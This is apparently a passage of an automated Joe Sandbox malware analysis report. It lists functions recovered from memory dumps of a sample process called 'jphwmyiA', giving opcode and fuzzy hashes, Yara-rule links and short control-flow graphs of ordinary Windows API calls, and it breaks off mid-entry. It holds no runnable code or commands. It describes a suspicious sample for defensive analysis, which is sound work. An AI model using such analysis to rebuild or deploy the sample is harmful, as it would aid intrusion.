                                                                                                                                                            • Source File: 0000000C.00000002.3455738112.000000002A3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A3F0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a3f0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 36d7da24542ab227bbf39aaef8e1a3dbaeb8c85953c0add8c9141e43394e3e6e
                                                                                                                                                            • Instruction ID: 7c46df3e194ee52ea7710b5013d88be53b1999413d77215c61dc531b33b50fd5
                                                                                                                                                            • Opcode Fuzzy Hash: 36d7da24542ab227bbf39aaef8e1a3dbaeb8c85953c0add8c9141e43394e3e6e
                                                                                                                                                            • Instruction Fuzzy Hash: 46915D75911219DFDB04AFA0C85C7AEBBB2EF06306F10542AD106772E1CB7D4A89CF95
                                                                                                                                                            Function 2A1D1440 Relevance: .2, Instructions: 221COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455080995.000000002A1D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1D0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1d0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 3f440a040d413266dfd91e7c680c3d0d73cfc2ff6ef1484f58be6147a79c040a
                                                                                                                                                            • Instruction ID: 8781bda018b7ebd389aed80acdf6edbaf5748726906f1c9a2c0c8d904a3c2f03
                                                                                                                                                            • Opcode Fuzzy Hash: 3f440a040d413266dfd91e7c680c3d0d73cfc2ff6ef1484f58be6147a79c040a
                                                                                                                                                            • Instruction Fuzzy Hash: 09A12770E00618CFEB14EFA9D944BDDBBB1FF49314F208269E409A72A1DB759A85CF50
                                                                                                                                                            Function 2A1D178B Relevance: .2, Instructions: 202COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455080995.000000002A1D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1D0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1d0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 368a2af08e468bc7bb988f64bcad6e462c8e4bcef654762738df71e881b163b8
                                                                                                                                                            • Instruction ID: 08a9193e29fcaa1a26e6ca8d307661f811d965af2f749892e4e712f2a9d5c5a4
                                                                                                                                                            • Opcode Fuzzy Hash: 368a2af08e468bc7bb988f64bcad6e462c8e4bcef654762738df71e881b163b8
                                                                                                                                                            • Instruction Fuzzy Hash: 4B911470E00618CFEB10EFA9D944BDCBBB1FF49310F209269E409A72A1DB759A84CF10
                                                                                                                                                            Function 2A28E810 Relevance: .2, Instructions: 200COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455512050.000000002A280000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A280000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a280000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: fec9a9c6814bc18debcd6ac4a457c11370168b9a924504a61c46a4ffe7e1ccd8
                                                                                                                                                            • Instruction ID: d7992f4e68c72bf29ae1f48f62e549111182137ffbc770102aed5435e4bb2c78
                                                                                                                                                            • Opcode Fuzzy Hash: fec9a9c6814bc18debcd6ac4a457c11370168b9a924504a61c46a4ffe7e1ccd8
                                                                                                                                                            • Instruction Fuzzy Hash: FF81C775E00218DFDB48DFA5C994B9DBBB2BF88304F208429D415BB3A5DB399986CF50
                                                                                                                                                            Function 2A28EB30 Relevance: .2, Instructions: 200COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455512050.000000002A280000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A280000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a280000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: f3e52fde41f60e9d0f7cb29ac6587692b488b0f670fb0ed638423c44bd2168b1
                                                                                                                                                            • Instruction ID: 7ebef34edabb64fd762bdd4d5462a5f61e920794ee3129c01e8cc72b4ff781e6
                                                                                                                                                            • Opcode Fuzzy Hash: f3e52fde41f60e9d0f7cb29ac6587692b488b0f670fb0ed638423c44bd2168b1
                                                                                                                                                            • Instruction Fuzzy Hash: 0281E674E01218DFDB48DFA5C884B9DBBB2BF88304F608429D405BB3A5DB399986CF50
                                                                                                                                                            Function 2A287150 Relevance: .2, Instructions: 200COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455512050.000000002A280000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A280000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a280000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: c725ab498f8da64a55d41f8208d3e81343ddcbb40382f9bb75113785cc6247e3
                                                                                                                                                            • Instruction ID: dc77515a993c44f226acebfe5592e866362b39d552cdea77aee5254139f84142
                                                                                                                                                            • Opcode Fuzzy Hash: c725ab498f8da64a55d41f8208d3e81343ddcbb40382f9bb75113785cc6247e3
                                                                                                                                                            • Instruction Fuzzy Hash: 8481C475E00218DFDB48DFA5C994A9DBBB2BF88304F608029D815BB3A5DB395986CF50
                                                                                                                                                            Function 2A296120 Relevance: .2, Instructions: 200COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455587633.000000002A290000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A290000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a290000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 08147dbc9623ea28acb753db1591b5612d2a848b5cc73513c2a9b2315573f484
                                                                                                                                                            • Instruction ID: 340e59b27bd9ecac21350c42aef4442d66cd2fd98e501f5618f711194489f303
                                                                                                                                                            • Opcode Fuzzy Hash: 08147dbc9623ea28acb753db1591b5612d2a848b5cc73513c2a9b2315573f484
                                                                                                                                                            • Instruction Fuzzy Hash: A581D574E01218CFDB08DFA9C994B9DBBB2BF88304F608429D405BB3A5DB395986CF54
                                                                                                                                                            Function 2A1E8020 Relevance: .2, Instructions: 181COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455159218.000000002A1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1E0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1e0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 7ac08631dd97fc933840b7ef855bbbc16f55767d36dbfb7c52e965c945c91428
                                                                                                                                                            • Instruction ID: 9df9ba291236cffb1369cc7bb24858e307e839e4bc2fe5ead876a7de0f7be254
                                                                                                                                                            • Opcode Fuzzy Hash: 7ac08631dd97fc933840b7ef855bbbc16f55767d36dbfb7c52e965c945c91428
                                                                                                                                                            • Instruction Fuzzy Hash: 0861F674E012199FDB08DFE9D990ADEBBF2BF88310F14C529E808BB355DA319942CB50
                                                                                                                                                            Function 2A254E98 Relevance: .2, Instructions: 153COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455308308.000000002A250000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A250000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a250000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: bef06f8ef8be64160137fff70706c9febab0cfb302fb2a5f88959593cf87d93e
                                                                                                                                                            • Instruction ID: c9c4a14f75f769a948ddeadae683f90285bcd78a117a32658ceefdf3fb4ffac2
                                                                                                                                                            • Opcode Fuzzy Hash: bef06f8ef8be64160137fff70706c9febab0cfb302fb2a5f88959593cf87d93e
                                                                                                                                                            • Instruction Fuzzy Hash: 60518C72D106588BDB49DFB6C8953DDFBB2BF89304F18816AC459BB251EB385A02CF50
                                                                                                                                                            Function 2A2548FA Relevance: .1, Instructions: 118COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455308308.000000002A250000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A250000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a250000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: de08ff540ece7244ab777defbfc72f7bedbf42b1b535a24bfab3e5b303f2fa19
                                                                                                                                                            • Instruction ID: f203ca91206a837c0c0e9f67ca353cffed1f211058819d09beccfd29d72d625c
                                                                                                                                                            • Opcode Fuzzy Hash: de08ff540ece7244ab777defbfc72f7bedbf42b1b535a24bfab3e5b303f2fa19
                                                                                                                                                            • Instruction Fuzzy Hash: CD41DFB1D002188BEB58DFAAC8547DDBBF2BF88304F14D069C418BB254DB354A86CF14
                                                                                                                                                            Function 2A1E65B0 Relevance: .1, Instructions: 118COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455159218.000000002A1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1E0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1e0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: ff5176dd905b41abc055f53d8cf936aec372ed3e1457219151549d7f35f62b88
                                                                                                                                                            • Instruction ID: 58c0a43069090222a001e92b713c676f528d3647761800b55cdf683447c705c8
                                                                                                                                                            • Opcode Fuzzy Hash: ff5176dd905b41abc055f53d8cf936aec372ed3e1457219151549d7f35f62b88
                                                                                                                                                            • Instruction Fuzzy Hash: 4841F3B1E006088BEB18DFAAC9447DDBBF2BF89304F14D169C418BB251DB355A46CF10
                                                                                                                                                            Function 2A1E7AE0 Relevance: .1, Instructions: 105COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455159218.000000002A1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1E0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1e0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: d353cbb717d0c430dce6b7783ee8fce869539902728a985f73e562bc6f4b9827
                                                                                                                                                            • Instruction ID: 9a6b04f95cb91edfb65cb2f7e16bdfba5769bc550726eb88487a0dad052355ad
                                                                                                                                                            • Opcode Fuzzy Hash: d353cbb717d0c430dce6b7783ee8fce869539902728a985f73e562bc6f4b9827
                                                                                                                                                            • Instruction Fuzzy Hash: 1B411971E00648CBEB08DFAAD9546DDFBF2AF89304F14D429C418BB265EB345A46CF40
                                                                                                                                                            Function 2A1EBA01 Relevance: .1, Instructions: 103COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455159218.000000002A1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1E0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1e0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: da1af5128ae20ab195f8fb849f6b69414030161b4319bd3d20dbfa1354c7ff82
                                                                                                                                                            • Instruction ID: fd0b80aefe4b531c11881f30eec3c7726e9892df9c8470283088c3064b0859bb
                                                                                                                                                            • Opcode Fuzzy Hash: da1af5128ae20ab195f8fb849f6b69414030161b4319bd3d20dbfa1354c7ff82
                                                                                                                                                            • Instruction Fuzzy Hash: 36411671E05658CBDB08DFAAD9406DDFBF2AF88304F14C029C408BB265EB345A46CF40
                                                                                                                                                            Function 2A1EA330 Relevance: .1, Instructions: 103COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455159218.000000002A1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1E0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1e0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 2281f0ceabee81e7b7b790cd1f24979753c6a60dcd28f33e878d320deff779eb
                                                                                                                                                            • Instruction ID: 0e40946381a9ab728f05463553d41e1f0fee70fdde1a900aeadb4505b5044c0e
                                                                                                                                                            • Opcode Fuzzy Hash: 2281f0ceabee81e7b7b790cd1f24979753c6a60dcd28f33e878d320deff779eb
                                                                                                                                                            • Instruction Fuzzy Hash: 0D41D271E006188FEB58DFAAC9946DDBBF2BF89305F14D129C408BB264EB355A46CF40
                                                                                                                                                            Function 2A2809BF Relevance: .1, Instructions: 102COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455512050.000000002A280000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A280000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a280000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: d40a506e76af57cbf13d962b684ad1b724a84f0e5d85c27c2f40d7fb5027bbcf
                                                                                                                                                            • Instruction ID: f8404c6ad4ce2bf557b75492c7955c392a57e6ce22bef1e9ebdad5ff1c8bc3c1
                                                                                                                                                            • Opcode Fuzzy Hash: d40a506e76af57cbf13d962b684ad1b724a84f0e5d85c27c2f40d7fb5027bbcf
                                                                                                                                                            • Instruction Fuzzy Hash: 7741F2B1E046188FDB18DFAAD84479EBBF2BF89304F14C16AD418BB2A5DB354942CF50
                                                                                                                                                            Function 2A25DF09 Relevance: .1, Instructions: 99COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455308308.000000002A250000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A250000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a250000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 37054ce677558b2541c8240a707edadc4b03c31f1f8101970931c3a4d4365ac5
                                                                                                                                                            • Instruction ID: fee547eef74cbfdd2634706c48994940236837827145846e29db9fc820c53165
                                                                                                                                                            • Opcode Fuzzy Hash: 37054ce677558b2541c8240a707edadc4b03c31f1f8101970931c3a4d4365ac5
                                                                                                                                                            • Instruction Fuzzy Hash: 5C41D2B1E002189BDB58DFAAD8947DEBBF2BF88304F14D02AD418BB255EB355946CF50
                                                                                                                                                            Function 2A1E1190 Relevance: .1, Instructions: 99COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455159218.000000002A1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A1E0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a1e0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: e767fc5feebc63afbf6fa0161e2e09ee4efe824417a78cfad42ac400fca8a562
                                                                                                                                                            • Instruction ID: b0ef297310c3781abb524e33f80fef6b80a8f18f3d8b3b9d3f9f623d381f6351
                                                                                                                                                            • Opcode Fuzzy Hash: e767fc5feebc63afbf6fa0161e2e09ee4efe824417a78cfad42ac400fca8a562
                                                                                                                                                            • Instruction Fuzzy Hash: 8541F371E006488BDB18DFBAC9546DEFBF2AF89304F24D12AC419BB265DB355A46CF40
                                                                                                                                                            Function 2A287140 Relevance: .1, Instructions: 98COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455512050.000000002A280000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A280000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a280000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID:
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID:
                                                                                                                                                            • Opcode ID: 8954a1953fe4dc8ba8e18a9706875c3fe2b26e4b5dfd0af1a5ef11f63933d17e
                                                                                                                                                            • Instruction ID: ed0f47a71d349564c5104973c09acb97f00fc533ce513160d57b4653ce94784b
                                                                                                                                                            • Opcode Fuzzy Hash: 8954a1953fe4dc8ba8e18a9706875c3fe2b26e4b5dfd0af1a5ef11f63933d17e
                                                                                                                                                            • Instruction Fuzzy Hash: CB31F2B1E00208CFDB48DFAAD8446DEFBB2AF99300F14D02AD408BB295EB355946CF50
                                                                                                                                                            Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON
                                                                                                                                                            Download Yara Rule

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 886 4018f0-4018fa 887 401903-40193e lstrlenA call 4017e0 MultiByteToWideChar 886->887 888 4018fc-401900 886->888 891 401940-401949 GetLastError 887->891 892 401996-40199a 887->892 893 40194b-40198c MultiByteToWideChar call 4017e0 MultiByteToWideChar 891->893 894 40198d-40198f 891->894 893->894 894->892 896 401991 call 401030 894->896 896->892
                                                                                                                                                            APIs
                                                                                                                                                            • lstrlenA.KERNEL32(?), ref: 00401906
                                                                                                                                                            • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
                                                                                                                                                            • GetLastError.KERNEL32 ref: 00401940
                                                                                                                                                            • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
                                                                                                                                                            • MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3410702228.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                            • Associated: 0000000C.00000002.3410702228.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 0000000C.00000002.3410702228.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_400000_jphwmyiA.jbxd
                                                                                                                                                            Yara matches
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: ByteCharMultiWide$ErrorLastlstrlen
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 3322701435-0
                                                                                                                                                            • Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
                                                                                                                                                            • Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
                                                                                                                                                            • Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
                                                                                                                                                            • Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8
                                                                                                                                                            Function 2A3FDD81 Relevance: 6.1, APIs: 4, Instructions: 135threadCOMMON
                                                                                                                                                            Download Yara Rule

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 899 2a3fdd81-2a3fde1f GetCurrentProcess 903 2a3fde28-2a3fde5c GetCurrentThread 899->903 904 2a3fde21-2a3fde27 899->904 905 2a3fde5e-2a3fde64 903->905 906 2a3fde65-2a3fde99 GetCurrentProcess 903->906 904->903 905->906 908 2a3fde9b-2a3fdea1 906->908 909 2a3fdea2-2a3fdebd call 2a3fdf5f 906->909 908->909 912 2a3fdec3-2a3fdef2 GetCurrentThreadId 909->912 913 2a3fdefb-2a3fdf5d 912->913 914 2a3fdef4-2a3fdefa 912->914 914->913
                                                                                                                                                            APIs
                                                                                                                                                            • GetCurrentProcess.KERNEL32 ref: 2A3FDE0E
                                                                                                                                                            • GetCurrentThread.KERNEL32 ref: 2A3FDE4B
                                                                                                                                                            • GetCurrentProcess.KERNEL32 ref: 2A3FDE88
                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 2A3FDEE1
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455738112.000000002A3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A3F0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a3f0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Current$ProcessThread
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2063062207-0
                                                                                                                                                            • Opcode ID: 02ed131d97c7126dc526a370d2e72e1413d15a4bef91d67c2c94b22ca53f23ad
                                                                                                                                                            • Instruction ID: e63ae2a2d7121b47c6ecca3ee75bd37da5fb8ab3e84d4db5a823e2d3217d4bac
                                                                                                                                                            • Opcode Fuzzy Hash: 02ed131d97c7126dc526a370d2e72e1413d15a4bef91d67c2c94b22ca53f23ad
                                                                                                                                                            • Instruction Fuzzy Hash: A25188B09013498FDB18DFA9D588BEEBFF1EF59314F208459E049A7250C738A884CF65
                                                                                                                                                            Function 2A3FDD90 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON
                                                                                                                                                            Download Yara Rule

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 921 2a3fdd90-2a3fde1f GetCurrentProcess 925 2a3fde28-2a3fde5c GetCurrentThread 921->925 926 2a3fde21-2a3fde27 921->926 927 2a3fde5e-2a3fde64 925->927 928 2a3fde65-2a3fde99 GetCurrentProcess 925->928 926->925 927->928 930 2a3fde9b-2a3fdea1 928->930 931 2a3fdea2-2a3fdebd call 2a3fdf5f 928->931 930->931 934 2a3fdec3-2a3fdef2 GetCurrentThreadId 931->934 935 2a3fdefb-2a3fdf5d 934->935 936 2a3fdef4-2a3fdefa 934->936 936->935
                                                                                                                                                            APIs
                                                                                                                                                            • GetCurrentProcess.KERNEL32 ref: 2A3FDE0E
                                                                                                                                                            • GetCurrentThread.KERNEL32 ref: 2A3FDE4B
                                                                                                                                                            • GetCurrentProcess.KERNEL32 ref: 2A3FDE88
                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 2A3FDEE1
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455738112.000000002A3F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A3F0000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_2a3f0000_jphwmyiA.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Current$ProcessThread
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 2063062207-0
                                                                                                                                                            • Opcode ID: 7930f3e88008c65bdd1514598bd7e81297d588c177f22f0cae68345f20f66fc6
                                                                                                                                                            • Instruction ID: 3f48768a12b9f92acad2e180eb0c8fb9378cad8079e5709521eca5bc071a4f62
                                                                                                                                                            • Opcode Fuzzy Hash: 7930f3e88008c65bdd1514598bd7e81297d588c177f22f0cae68345f20f66fc6
                                                                                                                                                            • Instruction Fuzzy Hash: 7E5158B0D013498FDB08DFAAD588B9EBBF5EF58314F208459E409A7350D738A844CF65
                                                                                                                                                            Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                                                                                                                                            Download Yara Rule

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 943 40af66-40af6e 944 40af7d-40af88 call 40b84d 943->944 947 40af70-40af7b call 40d2e3 944->947 948 40af8a-40af8b 944->948 947->944 951 40af8c-40af98 947->951 952 40afb3-40afca call 40af49 call 40cd39 951->952 953 40af9a-40afb2 call 40aefc call 40d2bd 951->953 953->952
                                                                                                                                                            APIs
                                                                                                                                                            • _malloc.LIBCMT ref: 0040AF80
                                                                                                                                                              • Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
                                                                                                                                                              • Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
                                                                                                                                                              • Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4
                                                                                                                                                            • std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3
                                                                                                                                                              • Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08
                                                                                                                                                            • std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
                                                                                                                                                            • __CxxThrowException@8.LIBCMT ref: 0040AFC5
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3410702228.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                            • Associated: 0000000C.00000002.3410702228.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 0000000C.00000002.3410702228.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_12_2_400000_jphwmyiA.jbxd
                                                                                                                                                            Yara matches
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 1411284514-0
                                                                                                                                                            • Opcode ID: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
                                                                                                                                                            • Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
                                                                                                                                                            • Opcode Fuzzy Hash: 2a036851afa6ddc1d7df3bddf1a8d8bff45cbcbf2885913663491285a515d732
                                                                                                                                                            • Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E
                                                                                                                                                            Function 2A29D9B0 Relevance: 2.7, Strings: 2, Instructions: 237COMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 0000000C.00000002.3455587633.000000002A290000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A290000, based on PE: false
                                                                                                                                                            Joe Sandbox IDA Plugin
